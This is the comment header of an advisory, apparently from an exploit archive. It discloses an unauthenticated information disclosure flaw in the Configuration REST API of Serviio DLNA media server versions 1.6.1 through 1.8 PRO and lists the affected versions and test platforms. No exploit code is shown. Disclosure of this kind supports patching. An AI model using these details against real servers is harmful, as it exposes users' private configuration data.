#
# Serviio PRO 1.8 DLNA Media Streaming Server REST API Information Disclosure
#
#
# Vendor: Petr Nejedly | Six Lines Ltd
# Product web page: http://www.serviio.org
# Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1
#
# Summary: Serviio is a free media server. It allows you to stream your media
# files (music, video or images) to renderer devices (e.g. a TV set, Bluray player,
# games console or mobile phone) on your connected home network.
#
# Vendor:
# "Security:
# MediaBrowser (as well as any app that uses the API) uses well proven security techniques,
# so that you can be sure your content is only accessed by you. Make sure you keep your password
# secure."
#
# Desc: The version of Serviio installed on the remote Windows/Linux host is affected
# by an information disclosure vulnerability due to improper access control enforcement
# of the Configuration REST API. An unauthenticated, remote attacker can exploit this,
# via a specially crafted request, to gain access to potentially sensitive information.
#
# Tested on: Restlet-Framework/2.2
# Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
# Mac OS X, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
# Linux, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
